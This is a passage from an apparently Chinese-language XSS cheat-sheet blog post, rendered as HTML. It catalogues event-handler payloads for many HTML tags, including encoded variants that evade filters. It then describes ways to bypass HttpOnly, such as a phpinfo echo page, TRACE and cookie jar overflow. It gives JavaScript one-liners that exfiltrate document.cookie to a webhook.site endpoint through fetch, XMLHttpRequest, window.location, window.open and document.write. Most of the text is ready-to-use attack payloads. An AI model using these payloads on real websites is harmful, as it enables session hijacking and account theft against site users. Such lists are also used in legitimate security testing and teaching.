onmouseout=&quot;alert(&#x27;xss&#x27;);&quot;&gt;v</span><br></pre></td></tr></table></figure><p><code>onclick</code>（点击时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=1 onclick=&quot;alert(&#x27;xss&#x27;);&quot;&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-1"><a href="#标签-1" class="headerlink" title="&lt;iframe&gt;标签"></a><code>&lt;iframe&gt;</code>标签</h3><p>HTML 内联框架元素 (<code>&lt;iframe&gt;</code>)</p><p><strong>对应属性：</strong></p><p><code>onload</code>（加载完成时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe onload=&quot;alert(document.cookie)&quot;&gt;&lt;/iframe&gt;</span><br><span class="line">&lt;iframe onload=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/iframe&gt;</span><br><span class="line">&lt;iframe onload=&quot;base64,YWxlcnQoJ3hzcycpOw==&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure><p><code>src</code>属性</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;javascript:alert(1)&quot;&gt;test&lt;/iframe&gt;</span><br><span class="line">&lt;iframe src=&quot;data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=&quot;&gt; </span><br><span class="line">//base64解码后为&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-2"><a href="#标签-2" class="headerlink" title="&lt;audio&gt; 标签"></a><code>&lt;audio&gt;</code> 标签</h3><p><code>&lt;audio&gt;</code> 标签定义声音，比如音乐或其他音频流。</p><p><strong>对应属性：</strong></p><p><code>onerror</code>（加载错误时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;audio src=1 onerror=alert(1)&gt;</span><br><span class="line">&lt;audio&gt;&lt;source src=&quot;x&quot; onerror=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/audio&gt;</span><br></pre></td></tr></table></figure><p><code>onfocus</code>（获取焦点时触发XSS，如:点击）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;audio controls onfocus=eval(&quot;alert(&#x27;xss&#x27;);&quot;) autofocus=&quot;&quot;&gt;&lt;/audio&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;audio controls onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;source src=&quot;x&quot;&gt;&lt;/audio&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-3"><a href="#标签-3" class="headerlink" title="&lt;video&gt;标签"></a><code>&lt;video&gt;</code>标签</h3><p><strong>对应属性：</strong></p><p><code>onerror</code>（加载错误时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;video src=x onerror=alert(1)&gt;</span><br><span class="line">&lt;video&gt;&lt;source onerror=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/video&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;video controls onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/video&gt;</span><br></pre></td></tr></table></figure><p><code>onfocus</code>（获取焦点时触发XSS，如:点击）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;video controls onfocus=&quot;alert(&#x27;xss&#x27;);&quot; autofocus=&quot;&quot;&gt;&lt;/video&gt;</span><br></pre></td></tr></table></figure><p><code>onclick</code>（点击时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;video controls onclick=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/video&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-4"><a href="#标签-4" class="headerlink" title="&lt;svg&gt; 标签"></a><code>&lt;svg&gt;</code> 标签</h3><p><strong>对应属性：</strong></p><p><code>onload</code>（加载完成时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;svg onload=javascript:alert(1)&gt;</span><br><span class="line">&lt;svg onload=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/svg&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-5"><a href="#标签-5" class="headerlink" title="&lt;button&gt; 标签"></a><code>&lt;button&gt;</code> 标签</h3><p><strong>对应属性：</strong></p><p><code>onclick</code>（点击时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;button onclick=alert(1)&gt;</span><br><span class="line">&lt;button onclick=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/button&gt;</span><br></pre></td></tr></table></figure><p><code>onfocus</code>（获取焦点时触发XSS，如:点击）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;button onfocus=&quot;alert(&#x27;xss&#x27;);&quot; autofocus=&quot;&quot;&gt;xss&lt;/button&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;button onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/button&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseout</code>（鼠标移出时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;button onmouseout=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/button&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseup</code>（鼠标按钮释放时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;button onmouseup=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/button&gt;</span><br></pre></td></tr></table></figure><p><code>onmousedown</code>（鼠标按钮按下时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;button onmousedown=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/button&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-6"><a href="#标签-6" class="headerlink" title="&lt;div&gt;标签"></a><code>&lt;div&gt;</code>标签</h3><p><strong>对应属性：</strong></p><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><p>这个需要借助url编码来实现绕过</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">原代码：</span><br><span class="line">&lt;div onmouseover=&#x27;alert(1)&#x27;&gt;DIV&lt;/div&gt;</span><br><span class="line">经过url编码：</span><br><span class="line">&lt;div onmouseover%3d&#x27;alert%26lpar%3b1%26rpar%3b&#x27;&gt;DIV&lt;%2fdiv&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-7"><a href="#标签-7" class="headerlink" title="&lt;object&gt;标签"></a><code>&lt;object&gt;</code>标签</h3><p>这个需要借助 data 伪协议和 base64 编码来实现绕过</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;object data=&quot;data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=&quot;&gt;&lt;/object&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-8"><a href="#标签-8" class="headerlink" title="&lt;script&gt; 标签"></a><code>&lt;script&gt;</code> 标签</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;</span><br><span class="line">&lt;script&gt;alert(/xss/)&lt;/script&gt;</span><br><span class="line">&lt;script&gt;alert(123)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-9"><a href="#标签-9" class="headerlink" title="&lt;p&gt; 标签"></a><code>&lt;p&gt;</code> 标签</h3><p><strong>对应属性：</strong></p><p><code>onclick</code>（点击时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;p onclick=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/p&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;p onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/p&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseout</code>（鼠标移出时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;p onmouseout=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/p&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseup</code>（鼠标按钮释放时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;p onmouseup=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/p&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-10"><a href="#标签-10" class="headerlink" title="&lt;input&gt; 标签"></a><code>&lt;input&gt;</code> 标签</h3><p><strong>对应属性：</strong></p><p><code>onclick</code>（点击时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;input onclick=&quot;alert(&#x27;xss&#x27;);&quot;&gt;</span><br></pre></td></tr></table></figure><p><code>onfocus</code>（获取焦点时触发XSS，如:点击）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;input onfocus=&quot;alert(&#x27;xss&#x27;);&quot;&gt;</span><br><span class="line">&lt;input onfocus=&quot;alert(&#x27;xss&#x27;);&quot; autofocus=&quot;&quot;&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;input onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;</span><br></pre></td></tr></table></figure><p><code>onkeydown</code>（键盘按键按下时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;input type=&quot;text&quot; onkeydown=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/input&gt;</span><br><span class="line">&lt;input type=&quot;text&quot; onkeydown=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/input&gt;</span><br></pre></td></tr></table></figure><p><code>onkeydown</code>（在键盘按键按下并释放一个键时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;input type=&quot;text&quot; onkeypress=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/input&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-11"><a href="#标签-11" class="headerlink" title="&lt;details&gt;标签"></a><code>&lt;details&gt;</code>标签</h3><p><strong>对应属性：</strong></p><p><code>ontoggle</code>（切换时触发XSS，如:详情元素展开或收起）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;details ontoggle=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/details&gt;</span><br><span class="line">&lt;details ontoggle=&quot;alert(&#x27;xss&#x27;);&quot; open=&quot;&quot;&gt;&lt;/details&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-12"><a href="#标签-12" class="headerlink" title="&lt;select&gt; 标签"></a><code>&lt;select&gt;</code> 标签</h3><p><strong>对应属性：</strong></p><p><code>onfocus</code>（获取焦点时触发XSS，如:点击）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;select onfocus=&quot;alert(&#x27;xss&#x27;);&quot; autofocus&gt;&lt;/select&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;select onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/select&gt;</span><br></pre></td></tr></table></figure><p><code>onclick</code>（点击时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;select onclick=eval(&quot;alert(&#x27;xss&#x27;);&quot;)&gt;&lt;/select&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-13"><a href="#标签-13" class="headerlink" title="&lt;form&gt; 标签"></a><code>&lt;form&gt;</code> 标签</h3><p><strong>对应属性：</strong></p><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;form method=&quot;x&quot; action=&quot;x&quot; onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;input type=submit&gt;&lt;/form&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseout</code>（鼠标移出时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;form method=&quot;x&quot; action=&quot;x&quot; onmouseout=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;input type=submit&gt;&lt;/form&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseup</code>（鼠标按钮释放时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;form method=&quot;x&quot; action=&quot;x&quot; onmouseup=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;input type=submit&gt;&lt;/form&gt;</span><br></pre></td></tr></table></figure><p><code>action</code>（提交表单时触发）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;form action=javascript:alert(1)&gt;&lt;input type=submit&gt;&lt;/form&gt;</span><br></pre></td></tr></table></figure><h3 id="标签-14"><a href="#标签-14" class="headerlink" title="&lt;body&gt; 标签"></a><code>&lt;body&gt;</code> 标签</h3><p><strong>对应属性：</strong></p><p><code>onload</code>（加载完成时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;body onload=&quot;alert(&#x27;xss&#x27;);&quot;&gt;&lt;/body&gt;</span><br></pre></td></tr></table></figure><h1 id="外带COOKIE"><a href="#外带COOKIE" class="headerlink" title="外带COOKIE"></a>外带COOKIE</h1><h2 id="获取cookie"><a href="#获取cookie" class="headerlink" title="获取cookie"></a>获取cookie</h2><h3 id="未设置为HttpOnly"><a href="#未设置为HttpOnly" class="headerlink" title="未设置为HttpOnly"></a>未设置为HttpOnly</h3><h4 id="方法：document-cookie"><a href="#方法：document-cookie" class="headerlink" title="方法：document.cookie"></a>方法：document.cookie</h4><p>可获得所有的 <code>Cookie</code>，每条 <code>cookie</code> 以<code>分号和空格 </code>分隔 (即， <code>key=value</code> 键值对)。例如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uid=a378eb5d1c4e12d492e63273f7b68c01%40devS; language=zh; _gat=1</span><br></pre></td></tr></table></figure><h3 id="设置为HttpOnly"><a href="#设置为HttpOnly" class="headerlink" title="设置为HttpOnly"></a>设置为HttpOnly</h3><blockquote><p><code>HttpOnly</code>是包含在<code>Set-Cookie HTTP</code>响应头文件中的附加标志。生成cookie时使用<code>HttpOnly</code>标志有助于降低客户端脚本访问受保护<code>cookie</code>的风险（如果浏览器支持）。</p><p>即如果某一个Cookie 选项被设置成 <code>HttpOnly = true</code> 的话，那此<code>Cookie</code> <strong>只能通过服务器端修改，Js 是操作不了的</strong>，此时<code>document.cookie</code> 无效。</p></blockquote><h4 id="方法一：cookie回显页面"><a href="#方法一：cookie回显页面" class="headerlink" title="方法一：cookie回显页面"></a>方法一：cookie回显页面</h4><p>利用服务器中的cookie回显页面，如：<code>PHPinfo</code>页面</p><p>**条件：**有相关请求页面可以回显出cookie</p><p><strong>参考链接</strong>：<a href="https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page">How to bypass the HttpOnly flag via the PHP info page to exfiltrate the user cookies during an XSS exploitation</a></p><h4 id="方法二：TRACE-HTTP"><a href="#方法二：TRACE-HTTP" class="headerlink" title="方法二：TRACE HTTP"></a>方法二：TRACE HTTP</h4><blockquote><p>HTTP定义了8种标准的请求方法，包括<code>GET</code>、<code>POST</code>、<code>PUT</code>、<code>DELETE</code>、<code>HEAD</code>、<code>OPTIONS</code>、<code>TRACE</code>和<code>CONNECT</code>。其中<code>TRACE</code>用于回显服务器收到的请求。</p></blockquote><p>**条件：**服务器支持<code>TRACE</code>方式请求</p><p><strong>注</strong>：现代浏览器不允许从 JS 发送 TRACE 请求，从而避免了这种技术。但是，在特定软件中发现了一些绕过此方法的方法，例如发送 <code>\r\nTRACE</code> 而不是 <code>TRACE</code> 发送到 IE6.0 SP2。</p><h4 id="方法三：-Cookie-Jar-溢出"><a href="#方法三：-Cookie-Jar-溢出" class="headerlink" title="方法三： Cookie Jar 溢出"></a>方法三： Cookie Jar 溢出</h4><p><strong>参考链接</strong>：<a href="https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-jar-overflow">Cookie Jar Overflow</a>、<a href="https://medium.com/@ibm_ptc_security/cookie-jar-overflow-attack-ae5135b6100">Cookie Jar Overflow Attack</a></p><h4 id="方法四：表单劫持"><a href="#方法四：表单劫持" class="headerlink" title="方法四：表单劫持"></a>方法四：表单劫持</h4><p>XSS能插入在登录表单页面，能直接获取登录的账号密码，使用账号密码登录</p><h4 id="方法五：浏览器漏洞、中间件漏洞"><a href="#方法五：浏览器漏洞、中间件漏洞" class="headerlink" title="方法五：浏览器漏洞、中间件漏洞"></a>方法五：浏览器漏洞、中间件漏洞</h4><p>例如：Apache服务器漏洞 CVE-2012-0053</p><p>影响版本：2.2.0-2.2.21</p><p>攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的<code>LititRequestFieldSize</code> (最大请求长度，4192字节)，使得Apache返回400错误，状态页中包含了<code>HttpOnly</code> 保护的Cookie。</p><h2 id="带出cookie"><a href="#带出cookie" class="headerlink" title="带出cookie"></a>带出cookie</h2><h4 id="fetch-方法"><a href="#fetch-方法" class="headerlink" title="fetch()方法"></a>fetch()方法</h4><p>全局的 <code>fetch()</code> 方法用于发起获取资源的请求。它返回一个 promise，这个 promise 会在请求响应后被 resolve，并传回 <code>Response</code>对象。例如：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;//webhook.site/xxxxxxxx/?cookie=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>)</span><br></pre></td></tr></table></figure><p>详细参考：<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/fetch">fetch() - Web API 接口参考 | MDN (mozilla.org)</a></p><h4 id="XMLHttpRequest-对象"><a href="#XMLHttpRequest-对象" class="headerlink" title="XMLHttpRequest 对象"></a>XMLHttpRequest 对象</h4><p>利用 <code>XMLHttpRequest</code> 对象发送 HTTP 请求，将 Cookie 数据发送到攻击者的服务器：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="keyword">var</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>(); xhr.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;//webhook.site/xxxxxxxx/?cookie=&quot;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>, <span class="literal">true</span>); xhr.<span class="title function_">send</span>();&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>详细参考：<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest">XMLHttpRequest - Web API 接口参考 | MDN (mozilla.org)</a></p><h4 id="window-location-对象"><a href="#window-location-对象" class="headerlink" title="window.location 对象"></a>window.location 对象</h4><p> <code>window.location</code> 可以把浏览器重定向到新的页面，此时可通过url携带cookie；使用方法例如：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="variable language_">window</span>.<span class="property">location</span>=<span class="string">&quot;//webhook.site/xxxxxxxx/?cookie=&quot;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>;&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>下面是<code>window.location</code> 对象中<strong>可用于跳转的方法</strong>：</p><ol><li><code>window.location.href</code>：</li></ol><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">location</span>.<span class="property">href</span> = <span class="string">&quot;//webhook.site/xxxxxxxx/?cookie=&quot;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>;</span><br></pre></td></tr></table></figure><ol><li><code>window.location.assign(url)</code>：</li></ol><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">location</span>.<span class="title function_">assign</span>(<span class="string">&quot;//webhook.site/xxxxxxxx/?cookie=&quot;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>);</span><br></pre></td></tr></table></figure><ol><li><code>window.location.replace(url)</code>：</li></ol><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">location</span>.<span class="title function_">replace</span>(<span class="string">&quot;//webhook.site/xxxxxxxx/?cookie=&quot;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>);</span><br></pre></td></tr></table></figure><h4 id="window-open方法"><a href="#window-open方法" class="headerlink" title="window.open方法"></a>window.open方法</h4><p><code>window.open()</code> 是 JavaScript 中用于<strong>打开新窗口或新标签页</strong>的方法。它接受一个 URL 作为参数，返回一个新的浏览器窗口对象或者选项卡对象。</p><p>例如，以下代码将会在新窗口或新标签页中打开指定 URL：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="title function_">open</span>(<span class="string">&quot;//webhook.site/xxxxxxxx/?cookie=&quot;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>);</span><br></pre></td></tr></table></figure><h4 id="document-write方法"><a href="#document-write方法" class="headerlink" title="document.write方法"></a>document.write方法</h4><p>利用 <code>document.write</code> 写入某些含有src属性的标签，并将Cookie拼接到目标URL中，作为参数发送到指定的 IP 地址和端口</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="variable language_">document</span>.<span class="title function_">write</span>(<span class="string">`&lt;img src=&quot;//webhook.site/xxxxxxxx/?cookie=<span class="subst">$&#123;<span class="variable language_">document</span>.cookie&#125;</span>&quot; &gt;`</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="title function_">write</span>(<span class="string">&#x27;&lt;img src=&quot;//webhook.site/xxxxxxxx/?cookie=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>+<span class="string">&#x27;&quot;/&gt;&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h5 id="附：带src属性的标签"><a href="#附：带src属性的标签" class="headerlink" title="附：带src属性的标签"></a>附：带src属性的标签</h5><ol><li><p><strong><code>&lt;img&gt;</code></strong>：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;image.jpg&quot;</span> <span class="attr">alt</span>=<span class="string">&quot;示例图片&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p><strong><code>&lt;script&gt;</code></strong>：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;script.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p><strong><code>&lt;iframe&gt;</code></strong>：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;page.html&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p><strong><code>&lt;video&gt;</code></strong> 和 <strong><code>&lt;audio&gt;</code></strong>：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">video</span> <span class="attr">src</span>=<span class="string">&quot;video.mp4&quot;</span> <span class="attr">controls</span>&gt;</span><span class="tag">&lt;/<span class="name">video</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">audio</span> <span class="attr">src</span>=<span class="string">&quot;audio.mp3&quot;</span> <span class="attr">controls</span>&gt;</span><span class="tag">&lt;/<span class="name">audio</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p><strong><code>&lt;embed&gt;</code></strong> 和 <strong><code>&lt;object&gt;</code></strong>：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">embed</span> <span class="attr">src</span>=<span class="string">&quot;file.pdf&quot;</span> <span class="attr">type</span>=<span class="string">&quot;application/pdf&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">object</span> <span class="attr">data</span>=<span class="string">&quot;file.swf&quot;</span> <span class="attr">type</span>=<span class="string">&quot;application/x-shockwave-flash&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">object</span>&gt;</span></span><br></pre></td></tr></table></figure></li></ol><h4 id="更多正在学习中…"><a href="#更多正在学习中…" class="headerlink" title="更多正在学习中….."></a>更多正在学习中…..</h4><p>jquery-ajax</p><p>iCeServer</p><p>Superagent</p><p>socket</p><p>axios</p><ol><li>jQuery AJAX</li></ol><p>首先确保你的项目中已经包含了jQuery。如果没有，你可以通过添加以下标签来引入：</p><p>html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span 